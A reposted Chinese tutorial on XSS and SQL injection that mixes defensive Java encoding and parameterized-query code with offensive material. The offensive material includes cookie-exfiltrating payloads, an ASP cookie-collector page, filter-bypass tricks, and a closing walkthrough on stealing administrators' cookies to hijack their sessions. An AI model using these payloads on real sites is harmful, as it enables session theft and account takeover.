xss 跨站攻击 解决方案(转)

跨站脚本XSS攻击示例

   

XSS攻击:[1]基础案例

   

XSS全称Cross Site Scripting,为不与CSS重名,故写作XSS。攻击者通过在原始页面注入恶意的javascript脚本语言,达到获取用户token,从而达到伪造用户身份的目的。

工具/原料

含XSS漏洞的网页

方法/步骤

制作含XSS漏洞的jsp等页面demo1,主要代码片段:

<form action="" method="get">

<input type="text" name="callback" value=""/>

<input type="submit" name="submit" value="提交" onclick="test($callback)"/>

<script >

function test(data){

var data=data;

}

</script>

XSS攻击:[1]基础案例

事件处理主要在test()函数中,采用倒推法,先尝试对test()参数进行注入。测试发现,当输入alert(1) ,脚本被执行,说明此处有XSS漏洞。


进一步debug发现,语句alert(1)其实是在onclick时被触发,如下图:

xss 跨站攻击 解决方案(转)_第1张图片

我们稍微修改下步骤1中的代码:

<form action="" method="get">

<input type="text" name="callback" value=""/>

<input type="submit" name="submit" value="提交" onclick="test(document.getElementsByName('callback')[0].value)"/>

<script >

function test(data){

var data=data;

}

</script>

再次输入alert(1),发现注入失效了。debug后发现输入内容含有一对引号“”,原因是变成了字符串。因此不存在XSS漏洞了。


写在最后:很多初学者不明白XSS带来的危害。试想当注入语句改成:alert(domucent.cookie),攻击者就可以得到该网站对应的token,从而伪装成你的身份任意妄为了。如要问为什么得到token就可以伪装,后面再详细描述了。


工具/原料

web服务器

把客户的cookie信息收集到我们的记事本里。这里,要玩这个步骤就需要一个你自己的站点,具体思路就是

1 让目标访问已跨站的网址,然后这个网址执行脚本

2 然后跳转到你已经写好专门用来收集Cookie的网址 具体实现方法:先构造语句<script>window.open('?msg='+document.cookie)< /script>这句话意思是打开一个新的窗口,访问这个网址,并且通过msg传递一个变量,这里的变量就是我们要收集的cookie了。


这里需要自己写一个页面,也就是收集对方发过来cookie的页面,代码是这样的:

<html>

<title>xx</title>

<body>

<%

testfile = Server.MapPath("code.txt") //先构造一个路径,也就是取网站根目录,创造一个在根目录下的code.txt路径,保存在testfile中

msg = Request("msg") //获取提交过来的msg变量,也就是cookie值

set fs = server.CreateObject("scripting.filesystemobject")创建一个fs对象

set thisfile = fs.OpenTextFile(testfile,8,True,0)

thisfile.WriteLine(""&msg&"")//像code.txt中写入获取来的cookie

thisfile.close //关闭

set fs = nothing

%>

</body>

</html>


如何快速找到网站是否存在XSS跨站脚本漏洞并且在网页XSS的脚本?

动心了吗?

跨站脚本XSS漏洞的网站不再少数,安全意识有待加强,找跨站点脚本XSS是发现并不是一件难事,

但如果你是新手,所以可能你有面临一些问题找到XSS脚本的开始。

因此,让我们开始:

首先你要找到我像提交搜索栏,登录页面,通过电子邮件订阅和联系方式页面。

工具/原料

一个网站(例子)

IP代理

方法/步骤

1.搜索框——寻找一个Opera(自定义) —— 查源代码:

xss 跨站攻击 解决方案(转)_第2张图片

2.CTRL + F 搜索Opera——并观察源代码里是否有opera关键词(自定义):


3.插入XSS代码测试有无拦截现,弹框,表明该网站很容易受到XSS攻击,有效载荷:

xss 跨站攻击 解决方案(转)_第3张图片

4.然后再次右键单击网站,然后按CTRL + F来搜索该有效载荷'><scrIpt>alert(3.1415926)</script>或价值:

xss 跨站攻击 解决方案(转)_第4张图片

注意事项

1.只是安全检测,网站是否存在漏洞;

2.了解,了解;

3.这是最基本的了;

xss(跨站脚本攻击),恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的。那么,黑客到底能够通过这些恶意代码实现什么呢?

方法/步骤

截获会话令牌,劫持用户的会话。(可以作为你访问你的QQ空间。)

虚拟置换:改变页面的现实内容,欺骗用户。(例如,替换一篇新闻的内容和标题等等。。。)

注入HTML木马:显示虚假的登录框,诱使用户输入用户名和密码等。

诱使用户执行特定操作:在xss代码中带上攻击代码,操作用户的浏览器执行恶意操作。

利用浏览器的信任关系:

1、截取自动完成功能的表单。

2、利用用户的可信站运行恶意代码,可以启动计算器等。

3、攻击ActiveX控件。

获取本地IP地址,目前测试只能在IE、谷歌和火狐浏览器下,opera不行。



对web安全方面的知识非常薄弱,这篇文章把Xss跨站攻击和sql注入的相关知识整理了下,希望大家多多提意见。

对于防止sql注入发生,我只用过简单拼接字符串的注入及参数化查询,可以说没什么好经验,为避免后知后觉的犯下大错,专门参考大量前辈们的心得,小小的总结一下,欢迎大家拍砖啊

一、跨站脚本攻击(XSS)

跨站脚本攻击的原理

XSS又叫CSS (Cross Site Script) ,跨站脚本攻击。它指的是恶意攻击者往Web页面里插入恶意脚本代码,而程序对于用户输入内容未过滤,当用户浏览该页之时,嵌入其中Web里面的脚本代码会被执行,从而达到恶意攻击用户的特殊目的。

跨站脚本攻击的危害:窃取cookie、放蠕虫、网站钓鱼 ...

跨站脚本攻击的分类主要有:存储型XSS、反射型XSS、DOM型XSS

 

XSS漏洞是Web应用程序中最常见的漏洞之一。如果您的站点没有预防XSS漏洞的固定方法,那么就存在XSS漏洞。这个利用XSS漏洞的病毒之所以具有重要意义是因为,通常难以看到XSS漏洞的威胁,而该病毒则将其发挥得淋漓尽致。

 

XSS工作流程

 

1)恶意用户,在一些公共区域(例如,建议提交表单或消息公共板的输入表单)输入一些文本,这些文本被其它用户看到,但这些文本不仅仅是他们要输入的文本,同时还包括一些可以在客户端执行的脚本。如:

http://xxx.xxx.com.cn/intf/_photos.jsp?callback=<script>window.location.href="http://www.baidu.com?a=" + escape(document.cookie)</script>、参数<script>xxx< /script>如果这里没有经过转义处理,则页面中就嵌入了一段script

2)恶意提交这个表单

3)其他用户看到这个包括恶意脚本的页面并执行,获取用户的cookie等敏感信息。

 

xss 跨站攻击 解决方案(转)_第5张图片

 

 

如下情况,请求跳转到百度,并将查询到的cookie值也显示出来了

结果将导致:

xss 跨站攻击 解决方案(转)_第6张图片

 

更详细的Xss原理等知识请参考园内大拿“小坦克”的这篇文章 Web安全测试之XSS

 

那我们要如何防御Xss?

一种方法是在表单提交或者url参数传递前,对需要的参数进行过滤,请看如下XSS过滤工具类代码

复制代码

import java.net.URLEncoder;/** * 过滤非法字符工具类 * */public class EncodeFilter {    //过滤大部分html字符
    public static String encode(String input) {        if (input == null) {            return input;        }        StringBuilder sb = new StringBuilder(input.length());        for (int i = 0, c = input.length(); i < c; i++) {            char ch = input.charAt(i);            switch (ch) {                case '&': sb.append("&amp;");                    break;                case '<': sb.append("&lt;");                    break;                case '>': sb.append("&gt;");                    break;                case '"': sb.append("&quot;");                    break;                case '\'': sb.append("&#x27;");                    break;                case '/': sb.append("&#x2F;");                    break;                default: sb.append(ch);            }        }        return sb.toString();    }    //js端过滤
    public static String encodeForJS(String input) {        if (input == null) {            return input;        }        StringBuilder sb = new StringBuilder(input.length());        for (int i = 0, c = input.length(); i < c; i++) {            char ch = input.charAt(i);            // do not encode alphanumeric characters and ',' '.' '_'
            if (ch >= 'a' && ch <= 'z' || ch >= 'A' && ch <= 'Z' ||                    ch >= '0' && ch <= '9' ||                    ch == ',' || ch == '.' || ch == '_') {                sb.append(ch);            } else {                String temp = Integer.toHexString(ch);                // encode up to 256 with \\xHH
                if (ch < 256) {                    sb.append('\\').append('x');                    if (temp.length() == 1) {                        sb.append('0');                    }                    sb.append(temp.toLowerCase());                // otherwise encode with \\uHHHH
                } else {                    sb.append('\\').append('u');                    for (int j = 0, d = 4 - temp.length(); j < d; j ++) {                        sb.append('0');                    }                    sb.append(temp.toUpperCase());                }            }        }        return sb.toString();    }    /**     * css非法字符过滤     * http://www.w3.org/TR/CSS21/syndata.html#escaped-characters    */
    public static String encodeForCSS(String input) {        if (input == null) {            return input;        }        StringBuilder sb = new StringBuilder(input.length());        for (int i = 0, c = input.length(); i < c; i++) {            char ch = input.charAt(i);            // check for alphanumeric characters
            if (ch >= 'a' && ch <= 'z' || ch >= 'A' && ch <= 'Z' ||                    ch >= '0' && ch <= '9') {                sb.append(ch);            } else {                // return the hex and end in whitespace to terminate
                sb.append('\\').append(Integer.toHexString(ch)).append(' ');            }        }        return sb.toString();    }    /**     * URL参数编码     * http://en.wikipedia.org/wiki/Percent-encoding
    */    public static String encodeURIComponent(String input) {        return encodeURIComponent(input, "utf-8");    }    public static String encodeURIComponent(String input, String encoding) {        if (input == null) {            return input;        }        String result;        try {            result = URLEncoder.encode(input, encoding);        } catch (Exception e) {            result = "";        }        return result;    }    public static boolean isValidURL(String input) {        if (input == null || input.length() < 8) {            return false;        }        char ch0 = input.charAt(0);        if (ch0 == 'h') {            if (input.charAt(1) == 't' &&                input.charAt(2) == 't' &&                input.charAt(3) == 'p') {                char ch4 = input.charAt(4);                if (ch4 == ':') {                    if (input.charAt(5) == '/' &&                        input.charAt(6) == '/') {                                    return isValidURLChar(input, 7);                    } else {                        return false;                    }                } else if (ch4 == 's') {                    if (input.charAt(5) == ':' &&                        input.charAt(6) == '/' &&                        input.charAt(7) == '/') {                        return isValidURLChar(input, 8);                    } else {                        return false;                    }                } else {                    return false;                }            } else {                return false;            }                    } else if (ch0 == 'f') {            if( input.charAt(1) == 't' &&                input.charAt(2) == 'p' &&                input.charAt(3) == ':' &&                input.charAt(4) == '/' &&                input.charAt(5) == '/') {                                return isValidURLChar(input, 6);            } else {                return false;            }        }        return false;    }    static boolean isValidURLChar(String url, int start) {        for (int i = start, c = url.length(); i < c; i ++) {            char ch = url.charAt(i);            if (ch == '"' || ch == '\'') {                return false;            }        }        return true;    } }

复制代码

 乌云网有很多关于xss报错的bug记录,如http://www.wooyun.org/bugs/wooyun-2010-016779

 

SQL注入漏洞

 

SQL注入攻击的原理:

 

使用用户输入的参数拼凑SQL查询语句,使用户可以控制SQL查询语句。详细关于sql注入的信息请参考:SQL注入攻防入门详解

 

防御方法

  • 使用预编译语句,

  • 绑定变量

  • 使用安全的存储过程

  • 检查数据类型

  • 使用安全函数

建议方法:不要使用拼接的sql,使用占位符,例如使用JdbcTemplate,

下面给出一种解决方法:用下面的各种函数代替拼接sql的出现

 

复制代码

import java.util.ArrayList;
import java.util.HashMap;
import java.util.List;
import java.util.Map;public class SqlBuilder {    protected StringBuilder sqlBuf = new StringBuilder();    protected List<Object> values = new ArrayList<Object>();    protected Map<String, Object> paramMap = new HashMap<String, Object>();    public SqlBuilder appendSql(String sql) {
        sqlBuf.append(sql);        return this;
    }    public SqlBuilder appendValue(Object value) {
        sqlBuf.append('?');
        values.add(value);        return this;
    }    public SqlBuilder appendValues(Object[] values) {
        sqlBuf.append('(');        for (int i = 0, c = values.length; i < c; ++i) {
            sqlBuf.append('?').append(',');            this.values.add(values[i]);
        }        int last = sqlBuf.length() - 1;        if (last > 0 && sqlBuf.charAt(last) == ',') {
            sqlBuf.setCharAt(last, ')');
        }        return this;
    }    
    public SqlBuilder appendEqParam(String param, Object value) {
        sqlBuf.append(param).append(" = :").append(param);
        paramMap.put(param, value);        return this;
    }    
    public SqlBuilder appendLtParam(String param, Object value) {
        sqlBuf.append(param).append(" < :").append(param);
        paramMap.put(param, value);        return this;
    }    
    public SqlBuilder appendGtParam(String param, Object value) {
        sqlBuf.append(param).append(" > :").append(param);
        paramMap.put(param, value);        return this;
    }    
    public SqlBuilder appendInParam(String param, Object ... values) {        if(values == null) {            return this;
        }
        sqlBuf.append(param).append(" in (");        int len = values.length;        for(int i = 0; i < len; i++) {            if(i != 0) {
                sqlBuf.append(", ");
            }
            sqlBuf.append(":").append(param).append(i);
            paramMap.put(param+i, values[i]);
        }
        sqlBuf.append(")");        return this;
    }    
    public SqlBuilder appendLikeParam(String param, Object value) {
        sqlBuf.append(param).append(" like :").append(param);
        paramMap.put(param, "%"+value+"%");        return this;
    }    public String getSql() {        return sqlBuf.toString();
    }    public Object[] getValues() {        return values.toArray();
    }    
    public Map<String, Object> getParamMap() {        return paramMap;
    }
}

复制代码

 

上面的两种漏洞对于web开发会经常遇到,此外还有拒绝服务攻击漏洞、跨站请求伪造(CSRF)、开放重定向漏洞等等,以后再慢慢学习


============

《xss攻击手法》一开始在互联网上资料并不多(都是现成的代码,没有从基础的开始),直到刺的《白帽子讲WEB安全》和cn4rry的《XSS跨站脚本攻击剖析与防御》才开始好转。

我这里就不说什么xss的历史什么东西了,xss是一门又热门又不太受重视的Web攻击手法,为什么会这样呢,原因有下:

1、耗时间
2、有一定几率不成功
3、没有相应的软件来完成自动化攻击
4、前期需要基本的html、js功底,后期需要扎实的html、js、actionscript2/3.0等语言的功底
5、是一种被动的攻击手法
6、对website有http-only、crossdomian.xml没有用

但是这些并没有影响黑客对此漏洞的偏爱,原因不需要多,只需要一个。

Xss几乎每个网站都存在,google、baidu、360等都存在。

0×02 原理:

首先我们现在本地搭建个PHP环境(可以使用phpstudy安装包安装),然后在index.php文件里写入如下代码:

<html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>XSS原理重现</title> </head> <body> <form action="" method="get"> <input type="text" name="xss_input"> <input type="submit"> </form> <hr> <?php $xss = $_GET['xss_input'];  echo '你输入的字符为<br>'.$xss;  ?> </body> </html>

然后,你会在页面看到这样的页面

xss 跨站攻击 解决方案(转)_第7张图片

我们试着输入abcd123,得到的结果为

xss 跨站攻击 解决方案(转)_第8张图片

我们在看看源代码

xss 跨站攻击 解决方案(转)_第9张图片

我们输入的字符串被原封不动的输出来了,那这里我们提出来一个假设,假设我们在搜索框输入下面的代码会出现什么呢?

<script>alert('xss')</script>

如果按照上面的例子来说,它应该存在第12行的[br]与[/boby]>之间,变成:

<br><script>alert('xss')</script></boby>

之后,应该会弹出对话框。

既然假设提出来,那我们来实现下这个假设成不成立吧。

我们输入

<script>alert('xss')</script>

得到的页面为

xss 跨站攻击 解决方案(转)_第10张图片

成功弹窗,这个时候基本上就可以确定存在xss漏洞。

我们在看看源代码

看来,我们的假设成功了,这节就说说XSS的原理,下面几节说说xss的构造和利用。

0×03 xss利用输出的环境来构造代码 :

上节说了xss的原理,但是我们的输出点不一在[ br ]和[ /boby ]里,可以出现在html标签的属性里,或者其他标签里面。所以这节很重要,因为不一定 当你输入下面代码就会出现弹窗。 

<script>alert('xss')</script>

先贴出代码:

<html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>XSS利用输出的环境来构造代码</title> </head> <body> <center> <h6>把我们输入的字符串 输出到input里的value属性里</h6> <form action="" method="get"> <h6>请输入你想显现的字符串</h6> <input type="text" name="xss_input_value" value="输入"><br> <input type="submit"> </form> <hr> <?php $xss = $_GET['xss_input_value'];  if(isset($xss)){  echo '<input type="text" value="'.$xss.'">';  }else{  echo '<input type="type" value="输出">';  }  ?> </center> </body> </html>

下面是代码的页面

xss 跨站攻击 解决方案(转)_第11张图片

这段代码的作用是把第一个输入框的字符串,输出到第二个输入框,我们输入1,那么第二个input里的value值就是1,下面是页面的截图和源代码的截图(这里我输入下面的代码来测试)

<script>alert('xss')</script>

xss 跨站攻击 解决方案(转)_第12张图片 

xss 跨站攻击 解决方案(转)_第13张图片

明显的可以看到,并没有弹出对话框,大家可能会疑惑为什么没有弹窗呢,我们来看看源代码

xss 跨站攻击 解决方案(转)_第14张图片

我们看到我们输入的字符串被输出到第15行input标签里的value属性里面,被当成value里的值来显现出来,所以并没有弹窗,这时候我们该怎么办呢?聪明的人已经发现了可以在

<script>alert(&#039;xss&#039;)</script>

前面加个">来闭合input标签。所以应该得到的结果为

成功弹窗了,我们在看看这时的页面

看到后面有第二个input输入框后面跟有">字符串,为什么会这样呢,我们来看看源代码

xss 跨站攻击 解决方案(转)_第15张图片

这时可以看到我们构造的代码里面有两个">,第一个">是为了闭合input标签,所以第二个">就被抛弃了,因为html的容 错性高,所以并没有像php那样出现错误,而是直接把多余的字符串来输出了,有的人是个完美主义者,不喜欢有多余的字符串被输出,这时该怎么办呢?

这里我问大家一个问题,我之前说的xss代码里,为什么全是带有标签的。难道就不能不带标签么?!答:当然可以。既然可以不用标签,那我们就用标签里的属性来构造XSS,这样的话,xss代码又少,又不会有多余的字符串被输出来。

还是这个环境,但是不能使用标签,你应该怎么做。想想input里有什么属性可以调用js,html学的好的人,应该知道了,on事件,对的。我们可以用on事件来进行弹窗,比如这个xss代码 我们可以写成

" onclick="alert(&#039;xss&#039;)

这时,我们在来试试,页面会发生什么样的变化吧。

xss 跨站攻击 解决方案(转)_第16张图片

没有看到弹窗啊,失败了么?答案当然是错误的,因为onclick是鼠标点击事件,也就是说当你的鼠标点击第二个input输入框的时候,就会触发onclick事件,然后执行alert(&#039;xss&#039;)代码。我们来试试看

xss 跨站攻击 解决方案(转)_第17张图片

当我点击后,就出现了弹窗,这时我们来看看源代码吧

第15行,value值为空,当鼠标点击时,就会弹出对话框。这里可能就会有人问了,如果要点击才会触发,那不是很麻烦么,成功率不就又下降了么。 我来帮你解答这个问题,on事件不止onclick这一个,还有很多,如果你想不需要用户完成什么动作就可以触发的话,i可以把onclick改成

Onmousemove 当鼠标移动就触发

Onload 当页面加载完成后触发

还有很多,我这里就不一一说明了,有兴趣的朋友可以自行查询下。

别以为就这样结束了,还有一类环境不能用上述的方法,

那就是如果在[ textarea ]标签里呢?!或者其他优先级比script高的呢?

就下面这样

xss 跨站攻击 解决方案(转)_第18张图片

这时我们该怎么办呢?既然前面都说了闭合属性和闭合标签了,那能不能闭合完整的标签呢,答案是肯定的。我们可以输入下面的代码就可以实现弹窗了。

</textarea><script>alert('xss')</script>

0×04 过滤的解决办法

假如说网站禁止过滤了script 这时该怎么办呢,记住一句话,这是我总结出来的“xss就是在页面执行你想要的js”不用管那么多,只要能运行我们的js就OK,比如用img标签或者a标签。我们可以这样写

<img scr=1 onerror=alert('xss')>当找不到图片名为1的文件时,执行alert('xss')  <a href=javascrip:alert('xss')>s</a> 点击s时运行alert('xss')  <iframe src=javascript:alert('xss');height=0 width=0 /><iframe>利用iframe的scr来弹窗  <img src="1" onerror=eval("\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29")></img>过滤了alert来执行弹窗

等等有很多的方法,不要把思想总局限于一种上面,记住一句话“xss就是在页面执行你想要的js”其他的管他去。(当然有的时候还有管他…)

0×05 xss的利用

说了那么多,大家可能都以为xss就是弹窗,其实错了,弹窗只是测试xss的存在性和使用性。

这时我们要插入js代码了,怎么插呢?

你可以这样

<script scr="js_url"></script>

也可以这样

<img src=x onerror=appendChild(createElement('script')).src='js_url' />

各种姿势,各种插,只要鞥运行我们的js就OK。那运行我们的js有什么用呢?

Js可以干很多的事,可以获取cookies(对http-only没用)、控制用户的动作(发帖、私信什么的)等等。

比如我们在网站的留言区输入下面的代码:

<script scr="js_url"></script>

当管理员进后台浏览留言的时候,就会触发,然后管理员的cookies和后台地址还有管理员浏览器版本等等你都可以获取到了,再用“桂林老兵cookie欺骗工具”来更改你的cookies,就可以不用输入账号 密码 验证码 就可以以管理员的方式来进行登录了。

至于不会js的怎么写js代码呢,放心网上有很多xss平台,百度一下就可以看到了。页面是傻瓜式的操作,这里就不再过多的说明了。

有兴趣的朋友,下面是cn4rry给我的几个xss平台,大家可以自己钻研与研究,也可以自己搭建

http://pan.baidu.com/s/1ntqOp4X


你可能感兴趣的:(xss 跨站攻击 解决方案(转))